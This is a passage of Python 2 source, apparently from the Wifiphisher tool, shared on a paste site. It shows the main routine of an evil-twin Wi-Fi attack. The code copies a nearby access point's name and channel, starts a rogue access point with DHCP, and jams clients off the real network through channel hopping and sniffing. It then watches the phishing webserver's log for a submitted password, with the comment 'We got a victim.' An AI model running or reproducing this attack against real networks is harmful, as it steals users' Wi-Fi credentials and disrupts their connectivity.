  946.     print '[' + T + '*' + W + '] Cleared leases, started DHCP, set up iptables'
  947.  
  948.     # Copy AP
  949.     time.sleep(3)
  950.     hop = Thread(target=channel_hop, args=(mon_iface,))
  951.     hop.daemon = True
  952.     hop.start()
  953.     sniffing(mon_iface, targeting_cb)
  954.     channel, essid, ap_mac = copy_AP()
  955.     hop_daemon_running = False
  956.  
  957.     # Start AP
  958.     dhcpconf = dhcp_conf(ap_iface)
  959.     dhcp(dhcpconf, ap_iface)
  960.     start_ap(ap_iface, channel, essid, args)
  961.     os.system('clear')
  962.     print ('[' + T + '*' + W + '] ' + T +
  963.            essid + W + ' set up on channel ' +
  964.            T + channel + W + ' via ' + T + mon_iface +
  965.            W + ' on ' + T + str(ap_iface) + W)
  966.  
  967.     clients_APs = []
  968.     APs = []
  969.     args = parse_args()
  970.     args.accesspoint = ap_mac
  971.     args.channel = channel
  972.     monitor_on = None
  973.     conf.iface = mon_iface
  974.     mon_MAC = mon_mac(mon_iface)
  975.     first_pass = 1
  976.  
  977.     monchannel = channel
  978.     # Start channel hopping
  979.     hop = Thread(target=channel_hop2, args=(wj_iface,))
  980.     hop.daemon = True
  981.     hop.start()
  982.  
  983.     # Start sniffing
  984.     sniff_thread = Thread(target=sniff_dot11, args=(wj_iface,))
  985.     sniff_thread.daemon = True
  986.     sniff_thread.start()
  987.  
  988.     # Main loop.
  989.     try:
  990.         while 1:
  991.             os.system("clear")
  992.             print "Jamming devices: "
  993.             if os.path.isfile('/tmp/wifiphisher-jammer.tmp'):
  994.                 proc = check_output(['cat', '/tmp/wifiphisher-jammer.tmp'])
  995.                 lines = proc.split('\n')
  996.                 lines += ["\n"] * (5 - len(lines))
  997.             else:
  998.                 lines = ["\n"] * 5
  999.             for l in lines:
  1000.                 print l
  1001.             print "DHCP Leases: "
  1002.             if os.path.isfile('/var/lib/misc/dnsmasq.leases'):
  1003.                 proc = check_output(['cat', '/var/lib/misc/dnsmasq.leases'])
  1004.                 lines = proc.split('\n')
  1005.                 lines += ["\n"] * (5 - len(lines))
  1006.             else:
  1007.                 lines = ["\n"] * 5
  1008.             for l in lines:
  1009.                 print l
  1010.             print "HTTP requests: "
  1011.             if os.path.isfile('/tmp/wifiphisher-webserver.tmp'):
  1012.                 proc = check_output(
  1013.                     ['tail', '-5', '/tmp/wifiphisher-webserver.tmp']
  1014.                 )
  1015.                 lines = proc.split('\n')
  1016.                 lines += ["\n"] * (5 - len(lines))
  1017.             else:
  1018.                 lines = ["\n"] * 5
  1019.             for l in lines:
  1020.                 print l
  1021.                 # We got a victim. Shutdown everything.
  1022.                 if "password" in l:
  1023.                     time.sleep(2)
  1024.                     shutdown()
  1025.             time.sleep(0.5)
  1026.     except KeyboardInterrupt:
  1027.         shutdown()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement